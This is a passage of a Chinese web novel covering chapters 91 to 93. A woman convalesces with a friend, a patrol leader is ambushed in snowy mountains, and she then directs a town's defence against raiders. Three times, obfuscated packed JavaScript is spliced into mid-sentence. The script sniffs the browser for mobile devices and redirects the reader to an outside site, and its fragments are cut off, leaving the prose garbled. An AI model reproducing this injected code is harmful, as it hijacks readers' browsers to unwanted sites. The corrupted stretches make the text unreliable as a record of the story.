说起这件事崔息面色有些发白,之前听段习之说起时他心如乱麻,但不管说不说,最后她还是会知道的。 “什么事?原来云尘也有事瞒着我了?”她调侃,脸上也没有一点怒色,但崔息还是别开头。 “是召贤令,悦真来时对我说的,眼下还没有发到永平县。当然,等发了我崔云尘也定不会为一己私欲对夫人隐瞒。”他语气恳切。 那地上四处飘散的纸张,还有上面密密麻麻的字,他哪能对陆笙的心视而不见。虽然有些痛苦,因为若陆笙要摘此令,那自己必须回避,自己的身份敏感不适合站在她身边。 “召贤令?” 崔息为她讲解,这是最新颁布的一封令书,具体内容是向天下召集贤才。不限男女,但限门第,高门弟子不可通过召贤入仕。 “是何人所颁布提议的?那天我们见到的上官?” “嗯,就是那位上官。”崔息点点头。 这件事是朝中今年所议最大的事,自己的叔伯崔怀照与那位上官争斗许久,据说调遣她出来当钦差也是为暂避朝中事。 崔息能想象到斗争的激烈,那召贤令颁发和调为钦差时间应当相差无几,可上官人来了,但令未到,由此可见其推行之难。 “在永平县真是不闻风波。”陆笙感慨一句。 崔息心里多了一份复杂情绪,他发现陆笙和他的关系除了爱恋好像还有其他,有一点同病相怜的吸引,有同甘共苦情谊,还有其他的,一些还说不出面目的。 握住陆笙的手,崔息低着头不说话。他希望自己思绪万千化能作掌中温度,更希望陆笙能知道,他一直都会在她身边,万死不辞。 陆笙深呼吸,在他紧握的温度里找到一点真实。 她努力翻出从前生活所得的乐趣问:“今年事情真多,来年永平县建好以后我们去散散心吧!去爬一爬山,下一下田,今年盛夏我还没在湖里摸过鱼,澄澈如天碧的水,跳进去就当去天上游了一圈。” 这些是陆笙珍惜的普通生活,只是,一想到灵琅她又忍不住想,如果一开始就选择融入这里,是不是会有不同? 崔息听陆笙这样说千百个同意,刚想说他也是这么想的,吴岭派的人就已经上门催促他办事。 如此急匆匆,忙碌碌,屋内又剩下陆笙一个人。 她关窗,找了软枕头睡下,那些伤口伴随着呼吸作痛。闭着眼又想那个灵琅的模样,心底再次泛起好奇,那召贤令更是让她无法按捺心中的兴奋,虽然兴奋后是深深的无力。 此时永平县迁县的大手笔已经传到了很多地方,哪怕与土人的合作只开了一个口,往来的商船就比从前更多。 这日子就如电光石火一般,每一日都忙碌,每一日都是新模样。 但沈莲丰的日子又变得和从前相似,打点府里的吃穿住行再等着人回来,无人的时候就照料一下庭院里的花草,娘子的菜园她也已经完全上手。 杨珞云比从前忙了数倍,沈莲丰由衷为她高兴。 最近娘子身体好一些,出去的次数就开始增加,所以常常是沈莲丰守在家里。 期间又经历永平秋日丰收,丰收以后的某日,秦厌带着一行壮年男子出发去了边境巡逻。 身边人来来去去,花草生长枯萎,沈莲丰捧着手炉继续等待。 荷花池第一次结冰的时候陆笙从沈莲丰的手里接到了阿木凌的消息。她心情忐忑地打开信笺,信上的是她要回来。这时候永平县的新城地基已经夯实,许多房屋开工,部分已经完工。崔息终于有了喘息的机会,可以在午后与陆笙喝一壶暖酒,两个人挤在炉火边读秦厌托人飞来的信。 来传信的飞禽还不一样,陆笙判断他与土人相处得不错。 91. 第 91 章 永平县下第二场雪的时候陆笙接到了一张帖子。 “真的是给我的?”她有点疑惑。 沈莲丰把换了新炭的手炉包上软布递给陆笙后回答:“是娘子那位去了州府的朋友送来的,自然是给娘子的。” 陆笙捏捏自己的暖耳,她还是觉得不可置信。 阿木凌是土人,怎会按照北人礼法来递帖子,还是给自己。她直接来崔府找自己就好,或是托人带个口信自己去找她。 带着几分疑惑打开,看到字迹以后陆笙明白,这不仅仅是阿木凌要请自己。 “要劳烦丰娘给我备车,明日我便去赴约。” 陆笙把信放在一边,书于其上的字飘逸潇洒,与那夜谢卉真的手迹别无二致。 谢、隹两家已经被夷三族,照理来说谢卉真已经不在人世,想来别有一段际遇。 手炉的温度透过软布传来,陆笙听着呼啸的北风想象雪花飞舞的模样,自己的身体像是得了怪病,再怎么严格遵守张大夫的医嘱都不见起色。或跟那日断掉的蛇笛有些关系,这次去见阿木凌正好问一问。 第二日晨间,雪已稍停。 陆笙裹着厚衣出门,路过庭院时看到槐树被雪压断了几枝。 崔息陪着她用过朝食才走,以前不觉得,身体不如从前以后凡事都带了分眷恋。 昨天她还做了一个梦,梦到自己回到了现代,站在论道会议上发言。她迷迷糊糊地想,如果那一次自己没有气急攻心近乎疯狂地维护自己,结果会有不同么? 走出去,陆笙先是望了望天空。 “娘子,上车吧,这天看起来又要落雪了。”沈莲丰顺着她的目光望去,觉得她在担心天气。 陆笙点头,慢吞吞上了车。 之后车夫打马,车轮滚动,驶向阿木凌家。陆笙在摇晃的间隙里按下刚才浮现的无数念头。 自己的生命好像变得如柳絮之轻,但情绪却来得排山倒海,原来体弱不仅多病更多疑,可陆笙别无选择,只能一口口吞下。 心思如针线,密密缝了一路,有些困倦之时听到丰娘的声音。 “娘子,我们到了。” 陆笙被搀扶着下了车,沉重的披风里两只手紧握着手炉。 “陆笙!快快快,进来进来!” 阿木凌脸上不见半分生疏,倒是陆笙脸上的几分冷叫她往前几步查看。 “娘子她最近身体不适。”沈莲丰替陆笙打了个圆场。 阿木凌手直接伸到她的披风里,里面冷飕飕的,只有手炉还在发烫。 陆笙总觉得身体慢半拍,想握一握她的手时阿木凌已经把手抽了回去,和沈莲丰一起扶着她。 走进去,昂摩正在炖汤,撩开厨间的帘子向她们问候了几句。 “夫人,那我傍晚再来接你?” “好。”陆笙点点头。 等沈莲丰走以后,阿木凌赶忙喊陆笙坐下。 “陆笙,你到底怎么了?你别吓我!”阿木凌握住陆笙的手放在脸上,她简直像一块冰。 “蛇笛被我吹断了,你教我的东西我也记不起来,脑袋混混沌沌的。”陆笙说话的时候像发呆,阿木凌看了心惊。 她泡了一杯很浓的大茶给陆笙,又劝她睡一会儿,睡醒就会好一些。 “我冬日以后缠绵病榻,还要睡吗?” “睡,你就在这睡,保证你睡醒起来好不少。”阿木凌语气异常坚定。 “好,那我就在这睡。” “我去阿娘那讨一些东西,你就睡吧,跟在木楼一样。”阿木凌轻声安抚她。 陆笙听她的话闭上眼睛,这里没有壁炉,外面的冷气掠过面庞带来一阵冰凉。 阿木凌的脚步声在她耳边走过,没有檀香味,没有莲心苦,暂时摒弃,暂时忘却。 阿木凌点起大茶做的香,用拇指揩去她鼻梁上的泪水,陆笙的眼下黑黑的一道,积了不知多少夜晚的重量。 她跪在陆笙身边,用额头贴住陆笙的额头,喉咙里吟唱大巫吟唱过的歌。 土人的法子不一定对北人有用,尤其是那些浸满了所谓典籍之气的人,他们学不会鸟木虫鱼的语言,因为他们已经满了。 陆笙不一样,她是空的,可大巫又说她想得太多,想得太多的人怎么会空呢?令人疑惑。 断掉的蛇笛是莫大的代价,阿木凌没有办法弥补其中的空缺,但可以叫陆笙不像现在这样。 昂摩走进来,也用额头贴一贴陆笙,她气息平稳眉心松弛,应该有了好眠。 “会好的。”昂摩为她祝福,愿她的神魂去共河沐浴,洗去尘世之苦。 冷,好冷。 陆笙的意识回返时好像坠入冰窟。 她瑟缩一下,眼睫颤颤。 适应以后她把眼睛睁开,可屋子的布置如此陌生,叫她心立刻提起来,看到几案上半盏凉透的大茶才把心落下。 慌什么,这是阿木凌的新家。 这一觉醒来她还真觉得轻快不少。 敢情真是缺一个安稳觉啊?!陆笙自嘲,又不着调地想,早知如此把安神饮当白开水喝不知道行不行。 “陆笙?陆笙你是不是起来了?”阿木凌推门进来,身后跟着一位容色皎好的女子。 如果不是她的字,陆笙大概是认不出的,她素面无饰气质温和,与从前大为不同。 “拜见县令夫人,民女周卉。”她对陆笙周全地行礼,阿木凌没有拦。 “周娘子不必客气。” 阿木凌听到陆笙这么说长舒一口气。 谢娘子改名的时候她还疑惑,后来听了她大致的描述明白了,原来她和陆笙有过多次不愉快,而且家里有天大的罪,自己要避嫌。 所幸陆笙一如从前,不记仇。 改名为周卉的谢卉真也松一口气,她很担心陆笙的态度会过于激烈。 “请坐吧。”陆笙朝她伸手。 周卉摆摆手拒绝了此请,她道:“民女的居所尚未收拾,因闻夫人大名所以特来一会,今日见到果然名不虚传,龙马精神,不让须眉。” 陆笙摸摸鼻子,要是再早一些来这几句话都说不出口。 “卉娘我送你出去。”阿木凌欢喜,她是自己绣秦的画师,她笔下的花草样样都好。 走出几步后,她忽然想起什么似得回头对陆笙说:“留在家里吃个晚饭再走!” 晚饭?陆笙笑她可真着急,等她回来估计才中午不到。 但鼻尖却闻到外面飘来的饭菜气味,加上这过于黯淡的天色,陆笙疑惑,难道真是傍晚了? “看你震惊的样子,就是从睁眼到我家然后再闭眼到现在,是不是想我和阿娘想得睡不着啊?”阿木凌看着她比来时好上三分的脸色开个玩笑。 陆笙笑着答:“是,是,是。”又接一句,“对了,你和秦厌怎么回事?” 阿木凌一听这个名字脸上的笑就隐下去。 “他没有跟你说?他另有所愿,要去参军。那天发生的事情太多,我们没谈好。” “哦,原来如此。”陆笙大致能推出个前因后果。 “其实,他留了一大笔钱给我,我因为这个觉得他好像也不是要和我一刀两断。” 阿木凌对陆笙会说这样直白的实话,她不会用北人说的那套钱财情义的道理衡量自己。 “这事得看你自己,反正你也改变不了他的想法,现在没缘分就算了呗。”陆笙没有劝她和秦厌硬要凑一块的意思。 “你现在能做的也就是把生意办起来,到时候不管秦厌如何,反正你的日子不会差对吧!” “对,是这个理。”阿木凌同意陆笙的道理。就像阿娘当初要带自己去州府学点本事,见见世面走走坑。 至于秦厌给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707436|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的嘛,反正他都给了为什么不能用,到最多时候赚钱了再还他就是。 陆笙看她乌黑的眼珠滴溜溜地转,知道阿木凌正想得起劲。 “秦厌还给你留下了一份册子。”陆笙从怀里掏出几张折叠过的纸。 阿木凌没有惊讶,秦厌留下的信里说过这事。 接过册子,上面的字都尽力写得很整齐。 阿木凌这时候忽然真切地感受到,原来秦厌没有骗人,他确实是认真考虑过做这件事的。 只是努力过才发现不喜欢,不想永远做这件事。阿木凌心里那些愤怒走了许多,只剩一些惆怅。 之前还约定要继续荡集市上最高的秋千呢,想到这件事阿木凌鼻尖涌上酸涩。 “他什么时候从山里回来?”阿木凌已经知道秦厌带队巡逻的事,这事的告示还贴在城里,没有完全揭掉。 “不知道,经常变动,元日吧,元日他应当会回来。”陆笙也说不准,山里的天气变化大。 说着陆笙打了个哈欠,明明刚睡醒不知怎么又犯困。 “阿木凌,我能在你家住一段时间吗?”陆笙觉得有灵光一闪而逝,想抓住却有点茫然,只能先求个环境。 但阿木凌听到陆笙的请求不同意。 “有什么条件,你说。” “大巫说过你不能经常想啊想,对你很不好,你待在我家不能这样!如果做不到我就不许你待在这里!”阿木凌气愤地说。 “好,我答应你。”陆笙笑眯眯的,也不知道真假。 “我听谢……不是,周娘子教书时有句话。子曰,学而不思则罔,思而不学则殆。现在这句话送你给你,你为什么不学了以后再思考,总是对着空气瞎想人没有毛病才怪!” “对,你说得对。”陆笙笑着同意。 可心里却想到葛聆,书已经读完,没有得学了怎么办?自己说要回到此刻此身,那现在自己做到了吗? 阿木凌看她发呆,气得拍一拍桌子。 “不想,不想了。”陆笙心虚。 晚上崔息从新城址回来听到丰娘的禀报有些惊喜,陆笙居然可以得一份安眠!那暂时不回来便不回来,自己也能去看她,只要她能康健起来,一切都好。 - 巡逻队营地里正烧着火,寒冷的天气里火光成了一种诱惑,所有人都往这边靠,被火燎破衣服的不在少数。 秦厌坐在远一些的地方,看着火光照出的片片琼花沉思。 “队长,我们什么时候能回去?山里下了雪静得吓人。”有个年轻人转头问秦厌。 旁边的土人笑他:“这就怕了?还想带你逮兔子吃呢!” 年轻人咽一咽口水推翻之前话说:“有吃的就不怕!” “没出息!”有人笑骂一句。 秦厌也跟着笑,他人靠过来一些,又让人让一道缝隙出来。 “队长,你怎么老是掏个册子在那写,写什么呢?” “写酸麻溜话给心上人呗!” 秦厌瞪他们一眼,一帮人默默闭嘴,谁让他功夫高拳头硬,第一天就没人敢跟他蹬鼻子上脸。 问什么时候回去的年轻人偷偷瞟一眼,本子上线条起伏,似乎是山,又有什么树和河的字样,剩下的他转头太快没有看清。 写了一会儿秦厌忽然叫他们安静,他支起耳朵听了半天说没事。 队里的土人笑说:“秦哥,你比我们还警觉哩!” 秦厌瞥他一眼,继续写。 他写的是附近山里的地形走向和河流分布,他还标了几处天然山穴。 目下没有看见蕃人的足迹,可万一呢,战争打响可不会下帖子。而且冬天是蕃人最缺粮的时候,发生劫掠的可能性并不小。 就是有一点叫人头痛,秦厌问过土人蕃人究竟从哪里来,可他们竟然不知道,说这在土人那也算是个机密。 92. 第 92 章 今日是元日,秦厌这支巡逻队前几日就应该交接的,可山口叫雪堵住,清理得再快都需要四五天时间。 夜里,一行人坐在火堆边喝酒。 一囊袋的酒,只够每人一口。 “秦哥,你这是什么酒?”有人饮下以后不由惊奇。 秦厌颇为自豪地问:“如何?” “醇厚绵长,从没喝过这样好的!”他啧啧称奇,“不知哪里能买到?” “买不到,是我笙姐姐给的。” 秦厌在上京都没有喝过这样的酒,其色澄清如水,饮下却好似烧进了肠胃,大雪天来一口浑身暖洋洋的,但不能多喝。 “那叫你阿姐多做些嘛,这样的好酒做了不得发大财?等永平县一迁,码头一扩,富贵无限呐!” 秦厌不说话,拿空了的酒囊轻打一下这小子的头。 “诶唷,打我做什么!” “你小子怎么……这么聪明!”秦厌想骂,但最后还是忍下心里莫名有的一口气,毕竟这话在一个外人口里说出来没毛病,是称赞的意思。 “嘿嘿,还行还行!” 其他人在等烤兔肉,火光如水漾在面孔上,听着秦哥和人有一搭没一搭地斗嘴。等他们两个人声音小下去的时候有人抬头,因为除了眼前的火堆的噼啪声之外,远处也传来些动静。 永平县来的都知道,那是山下在放烟花与爆竹。可惜有山相阻,大伙看不到永平县城里的烟花,只能想象。 亲人团聚之日困于山中,何其寂寥。 等到能下山已是五天以后,走至半路,秦厌使了些钱请他们在村野农家吃了一顿饱饭,酒足饭饱以后才重整行装,摇摇晃晃却一鼓作气回到永平。 秦厌进城前就听到小儿在玩爆竹,响声一阵又一阵。又看到各家门前挂上了新桃符,那郁垒神荼目光炯炯,好像墨痕未干。 能望到崔府门口的时候,他就看到公子、笙姐姐还有丰娘站在那等自己。 骑到三人面前,还没下马就问:“笙姐姐,阿木凌家怎么走?” 崔息微微压眉,秦厌自知不妥立刻翻身下马,行礼拜见。 “公子、笙姐姐、丰娘,新年好!” “夫人与我的压岁礼你到时去丰娘那领,下去洗洗,等会一起吃个团圆饭再去寻人。”崔息叮嘱他。 “山里吃了不少苦头吧?等会儿吃些甜的,有桂花糖藕。”陆笙接过话对他讲。 秦厌对陆笙挤挤眉毛,陆笙视而不见,急得他再挤两下。 沈莲丰笑他:“你急什么,跑不了的!” 这话似乎另有深意,秦厌想再问的时候被崔息拍了两下肩膀。他不再开口,垂头准备按公子吩咐洗去旧尘。 转身时听却公子说:“辛苦。” “应当的。”秦厌立马腰杆一挺。 可惜吃团圆饭的时候陆笙告诉他,阿木凌此时不在永平,暂去青州,她要购入一些织机。 “那她什么时候回来?”秦厌眼巴巴地问。 “这个不知,快的话十五?”陆笙不确定。 秦厌心中哀嚎,自己十五已经进山了呀! 这得春日才能见到她吗?! 崔息没有出声,秦厌看看公子收敛了表情继续吃饭。 “总会见的,山里注意安全才是要紧事。”崔息说。 陆笙眉毛轻轻扬一扬,总觉得崔息今天有点长兄如父的意思。 说起来她还不知道秦厌的身世,若阿木凌和他还有机会,她肯定要借此问个清楚。 崔息余光一直关注着陆笙的一举一动,今日她活泼些,自从在阿木凌家住,那股蔫蔫的劲不再时常缠绕着陆笙,就是她与自己相处的时间太少。 忽然一股拉扯的力量将崔息拽回当下,崔息低头一看,是陆笙的手。 她两指夹住自己衣服的褶皱,扯一扯,拉一拉,也不用力,就是解闷玩。 崔息放下筷子,想要“暗度陈仓”,谁知陆笙的手忽然放开。 他目光轻移去看她的脸色,她却在认真吃菜。 “公子,你瞧什么呢?地上有东西?” “能有什么东西,毛锤还在老汤那。”沈莲丰掩笑为二人解围。 看到陆笙脸色自然,甚至毫无所觉“解围”之举,沈莲丰笑得更深几分。 吃过饭,秦厌坐着躺着都不适意,最后选择去当陆笙的跟屁虫。 反正跟着笙姐姐,公子怎么着也不会怪罪自己的,再加上丰娘,三人搭道走遍了新城。 某日在新城址,秦厌忽然问:“笙姐姐,这里是不是改了水道?” 新城地势高,秦厌一下就瞧见了远处的水道变化。 “嗯,到时旧城整改完毕后就可以改良田,本来永平的水利就不大好用,趁着这次一道修缮改动。” 陆笙记得清楚,最远处那条沟渠还是在退休居画的。那时杨珞云聚精会神,而自己那天昏昏沉沉的,已经记不清说了什么。 不过实地看到这条炭线化作地上渠,那个瞬间又无比清晰。她的脑海中甚至有一种想象,炭笔落在纸上,移动时留在线条两边的炭成为掘地后翻出来的松散泥土。 沈莲丰在旁边补充,说这里的许多屋子之所以建这么快还是多亏了娘子和珞云。 陆笙根据杨珞云说的外面部做出了房屋标准,两人还一起写了施工、验工手札,有了这个东西建设的效率一下子就提高许多。 沈莲丰又打包票,说再有小半年这新城绝对会叫秦厌吃惊。 她可是隐去了排水、城市布局以及根据水道设立的救火处等等措施。哪怕这座城比不得上京,建完以后也是麻雀虽小五脏俱全。 如此转了七八天,到秦厌离开的日子就到了,那日他打马过街又忽然勒马回头。 “怎么?”崔息声音有些嘶哑,昨日与人争辩到半夜,喉咙现在还未恢复完全。 秦厌下马朝他抱拳然后问:“公子,那驻扎的军队还是没有消息吗?这都已经半年过去,哪怕是从西域调遣一支军队也该有点动静了!” “这事我与夫人也倍感怪异,再过一月不来我就亲自去问问。” “是,公子。那秦厌这就走了。” 他的“是”是朝着崔息说的,后面的字句结尾眼神已经滑过陆笙与丰娘,又要与几人许久不见,早知道应该多在一起吃几顿饭。 按下心中不舍,秦厌策马离去,街道两边还积着未化的雪。 每到此时,陆笙才品味出几分什么叫年年相似,日日不同。可惜文采不行,字又差劲,当文人缺乏必要条件,不然现在高低要来两句。 “夫人,我们回去吧,看天又要落雪。”崔息靠近一点陆笙,把手抵在她的后背。 下午时分果如崔息所说,白雪又来。 秦厌也因此雪不得不暂停脚步,这次回到巡逻队已是比别人迟了一天。 归队以后的日子相似,只是某日看到雪地里忽然冒出的绿意他惊诧了一下。 “秦哥,用你们北人的话这就叫山中不知岁,你看,春天都要来了。” “谁教你的这词,我都还不会说呢!”有人打趣。 秦厌刚想说这词不错就看到了一个模糊的,再过片刻就会被覆盖的脚印。 脚印并不稀奇,可它的朝向不对,最近没有人进来,而且他们的脚印与它相对,就算他们覆盖也是头盖尾。 直觉告诉秦厌这一枚凭空出现的脚印有来头,而且不善。雪日上山,脚印深到现在还没被雪覆盖,这说明对方踏过时的重量不轻。 他立马向身后比划了一个噤声的手势,左右的人全部闭嘴,此刻只有雪落下的细微响动,加上偶尔有树枝折断的声音,以及受惊吓的动物。 “秦哥,什么来头?” 有人看秦厌蹲在那半晌不出声,他憋不住开口问。 哪知秦厌转过来的脸冷得可怕。 他说:“可能有蕃人来了,但不确定多少人。你们今天还有没有发现过可疑的脚印?” 但一行人除了他都对此事没有警惕之心,所以除了获得摇头没有任何有效信息。 “我们先……”秦厌说到先字以后忽然人像被砍的树一样栽倒。 飞来的箭矢擦过他手臂,最后钉入雪地,血染一点红。 “向东,避树!” 秦厌说的时候自己已经避在树后,那人的箭术没那么快,引第二支箭时发现没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们也好了。” 秦厌比个噤声的手势,其他人立刻瞪大眼睛,两腿不由自主地颤抖。 “用手势,还没人来,我们先走。” 他往后看看准备离开现场,忽然瞧见那落在雪地里的一点红,冷汗忽然密密麻麻地缀满额头。 秦厌深呼吸调整心率走过去把血点深埋,拿走了箭支。望一望天上,雪纷纷扬扬地落下,他死死握住这箭。 回到营地,秦厌没有耽搁,直接开始布置下一步该如何。 “土人回黑寨,永平的人回永平县,各自报信给最高长官,我来拖住他们。”他说得很简短,仿佛平时巡逻叫人去北边,去南边。 还没等别人答话,他催促:“愣着干什么,走啊!你,骑我那匹马!” 其他人还是木愣愣的,但是听秦厌这样说也行动起来,今天这些信息在脑海里映不出其他内容,只能听眼前的队长。 “如果见到崔县令,记得让他把我的东西都给她。” “她?” “听清楚就快滚。”秦厌害怕得不想再多分心,直接骂了句脏话。 等人走后,他把他们身后的脚印稍微抹平了些,然后穿着蕃人那双鞋往一处他记载的洞穴走。 路上很安静,秦厌一路捡了很多柴,也把营地里所有的箭矢都带了过来。 到营地以后他抽出刀,狠狠在打火石上一划。刀锋搓摩出的火星子噼啪落在他铺好的引火绒上,接着它们被放到一团松针里。 秦厌吹一口气,火焰摇摆着跳出来。 他点燃木柴垛子,火光明亮地显眼,又去点营地里带出来的狼烟。点完以后他坐在中间,发呆片刻后他忽然打了一下自己的脸。 他刚记起来一件事,自己忘记对黑寨的说飞书一封去永平县,也忘记对去县里的那帮崽子说要劝周围的农户避让。 这事不怕一万,就怕万一。如果没那么慌张,自己可以做得更好。 使劲拿雪搓了搓脸,秦厌掏出本子开始规划引敌路线,他觉得这次来的人,至少先头部队应该不会太多,自己尽力拖住他们多一秒都是给大家多一分生机。 天色一点点黑下来,火光的颜色越来越明显,秦厌灭去狼烟,又点一捆柴,边点边捡,坐在几团火光里,他觉得很暖和。 遥远处,一个披发的蕃人张弓搭建射下一只鸦。 这里的土人善用飞禽传信他是知道的,所以所过之所只要有飞禽他都会射下,他也要求每个士兵如此做。 93. 第 93 章 “陆笙?”崔息忽然睁开眼,下意识去喊她的名字。他做了一个不太好的梦,睁开的第一眼没见到陆笙心里有些空落。 “怎么了?”陆笙放下笔,拿着药浸过的手帕捂住嘴咳嗽两声。 最近惹了风寒,头疼脑热已去,但还是觉得嗓子那像被弯折的木头,光滑平直的地方现在似有无数纤维戳出,说的每字都要刮几下,烦人得很。 “要出去走走么?”说着崔息走到她身边。 他用指腹碰一碰茶杯,发现茶已经冷彻,他手倒了,为陆笙又沏一杯热的。 沏茶完又问她:“写了这么多,怎么不见存下来?” “存下来做什么,至多百年就给人扔了。” 崔息沉思后说:“那就找一处地方刻下,摩崖而刻,如何?” “随口一说罢了,没有名气迟早被人凿去,白费功夫。”陆笙叹气。 “岂是白费功夫。” 陆笙欲言又止,最后对崔息招招手说:“不说这个,出去走走,生有涯而知无涯,以有涯随无涯,殆已![1]” “谨遵夫人教诲。”崔息背着手靠过来,这样能离陆笙更近一点。 陆笙每次看到他如此都要在心里腹诽,白天夜里判若两人呐。 “怎么了?”崔息显然是发现了她揶揄的神情。 陆笙不说话,摇头晃脑先行一步。 推开门,门外北风正凛,崔息走到前面为她挡住寒风。 忽然一片红色的什么飞了过去,陆笙手一抓,居然是一封信。 甚至相似的信在门附近散了一堆,刚才他们一开门,信都吹到了屋子里。 待看清楚,两个人的心俱是一沉,这些信面都沾染了暗红色的污垢,打开一开里面只有血淋淋的一个字,“蕃”。 崔息握住陆笙手,陆笙也握住他的,言语苍白,只有疼痛能多几分实感。 沈莲丰被唤去退休居的时候还在打理瓶中的腊梅,腊梅花小,花瓣似是半透的,冬天开得很精神。 “阿郎,娘子,我给你们这也抱一瓶。”她把花瓶放下,却见两个人面色异常。 “丰娘,坐下说。”崔息请她坐。 沈莲丰是见过风浪的,新城的事她略有耳闻,虽麻烦但不至于让阿郎如此。气氛如此沉重便只有一事,是不太可能,却发生了的天大事。 “蕃人进攻?” “是,黑寨那边发来的血书。” 崔息站起来,用尽量平稳的口气把自己心中计划说了一遍,永平县的建制不完全,地处偏远官员也未必能有处理这件事的能力,所以崔息决定先把计划透露给她们两人。 “最要紧的事肯定是将一些老弱妇孺撤出永平县,但距离还需判定,毕竟信上什么也没说,万一蕃人的目标是土人呢?” “其次是组织抵抗。新县城修成在即,若一点抵抗也不做将城拱手让出那便是投敌。抵抗需要兵力,需要外援,要那一支本就应该驻扎于此的外援军队。” 这个外援必然是自己去,那支军队不知为何迟迟未到,只有最高长官去寻去要求才合理。 陆笙握住崔息的手说:“你去得越快援军来得也越快,没事的。” 沈莲丰听了也点头,两个人的表情自始至终都是平静的。 崔息站起来,向二人郑重行了一礼。 于是不到一炷香的时间之内衙役们集体出动,崔息写的告示贴在主要街道,并有三四位衙役骑马摇铃高声提醒。 “蕃人将至,蕃人将至,若有暂避者速速前往新城北门!!” 永平县从来未闻交战,陆笙看听了此言的挑担人置若罔闻。 她立刻喊住位衙役叫他改一改话。 衙役遵其言大声喊:“蕃匪将至,蕃匪将至,抢人粮仓!烧杀放火!人数众多!要逃的人速速去新城北门!” 这下大部分人都听懂了,是抢钱抢粮的贼人要来,人还不是一般地多! 陆笙不知道崔息在北门具体是如何安排,她有她的使命,这种关键时刻不能有两个说一不二的人,所以自己只有等到崔息离开才能发出安排。 沈莲丰叫人搬来月牙凳,她陪着娘子在门口等待。 只是阿郎的信还没等到,那位吴氏的商人吴岭已急匆匆骑马过来。 陆笙看得出他不擅骑马,袍子压出了层叠的褶皱,人也喘得不像话。 “崔县令,崔县令呢?!”吴岭顾不得什么礼仪,直接大声问道。他有些惊吓过度,眼睛瞪大鼓出,满脸不可置信。 “明府已去北门,吴郎君若是要暂撤出去可以去北门。” “放屁!我压了这么多钱在这,暂退?我能退到哪里去?”他对着柱子打了一拳以泄心头之愤。 “快,给我说说崔县令到底有什么招,给我托个底!!” 吴岭顾不得许多,要是这次被蕃人占领此城,那他就毁了!现在他看着眼前这个没有太多表情的人都来气。 哦,你们这些当官的是轻飘飘一拍屁股走人了,自己可搭了身家性命,还有这么多钱!他现在简直怨气冲天,是死了做鬼都难投胎的怨。 “快说呀!”吴岭几乎要上手去扯陆笙的手,他顾不了许多了,钱钱钱,他的钱啊! 沈莲丰看他动手直接一把揪住吴岭的衣衫然后甩在地上。 “敢对我家娘子无礼?!” 吴岭简直要哭,这是什么道理,礼个屁的礼! 一倒地他也没了刚才的气性,一时不接受现在叫人摔醒了,能怎么办呢?就算自己哭天抢地也不能叫蕃人生出半分可怜。 “完了,全完了……”他喃喃。 这时马蹄声近,陆笙一看,是位衙役,他身侧有一个黑袋,上面有一个朱红色的“令”字。 “夫人,明府的令牌与印信俱在此处,某乃传令兵。” 衙役立在一边,陆笙长吐一口气,接过袋子的手有些颤抖,她还没有过守城的经验。 吴岭在一边听这话冷言一句:“叫妇人守城,崔县令真是英明啊!” “吴岭,命你安去找参与新城建设的杨珞云,你二人将去留商户的名单统计,并询问守城意愿。” “丰娘,我所写告示交于令兵。” “令兵,派信予永平县周围村落。若愿入永平县城避难者需自带三到四天的干粮,米面统一大灶,人安置于新城南门。对了,告示也记得张贴,要命周围识字者大声念诵。” …… 陆笙有条不紊地安排,虽然没有参与过,可当初在凌云志与种田心之间摇摆时,她有想过这方面的情况。 吴岭在一边听这位夫人的沉稳排布,一边开始为自己的行为感到羞耻和尴尬。 从地上爬起来要去道歉却被她制止:“吴郎君,做事要紧。” 两人得令,各自骑马,一东一西开始奔走。 “丰娘,我们去见见县尉。”陆笙把袋子挂在身上,手伸进去掏了掏,确实俱在。 现在她还没有任何实感,到底要迎接怎样的敌人,他们又在何处,距离多远。 什么都看不到听不到,眼下一切如常,她现在能做的只是尽全力为之。 “咳咳……”一阵冷风叫陆笙开始咳嗽。 沈莲丰一言不发,只是陪着陆笙。言语太苍白,眼下没有一句话配得上娘子,一句也没有。 傍晚,陆笙与今年刚来的县尉一起站在城头,左右两边的城门还没有关闭。 县尉请教陆笙:“不知县令夫人有何高见?”他指的是对敌之策。 “打是打不过的,唯有守。”陆笙叹一口气,又纠正县尉,叫他喊自己“陆娘子”。 从杨珞云回报的数据看,永平县大部分人并不愿走,甚至愿意拿出锄头铁锹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆笙静心屏气,看到了为首的脸庞,是一个大胡子男人,可马的速度太快,最后箭飞驰而去,一箭射中了那一匹好马。 马前蹄一曲马背上的人顿时被抛了出去,这下周围的弓箭手纷纷动作,对着那片区域放了近百支箭。 陆笙冷笑,有勇无谋,看来不是什么高级将领。 沈莲丰拍拍她的肩膀说:“娘子,河水已经开闸,你瞧!” 积蓄了一些雪融水的河流像淹蚂蚁似得把对方军队淹在了河流之中,这温度,下去基本上不来。 旁边的县尉直喊:“神了,神了!陆娘子你神了!!” “诶,这水,这水怎么!” 陆笙解释:“蕃人应该不止那么些,若只封河道那他们划船便过来了,要将战场挪到我们可进攻范围只有淹了部分旧城。” “真不止这么些么?”县尉有些不信了,这山里能跑出多少人? 但事实证明,陆笙说的是对的。 河水淹没不久,县尉就看到了他此生都没见过的阵仗,好像比一个县都多的人聚在那。 冷冷的水面上开始浮灯,这也是那位陆娘子的手笔,以浮灯为界,若有浮灯乱动便是有敌前来,射箭亦或是火船以拒之便可。 县尉问她是怎么想出这么多招的。 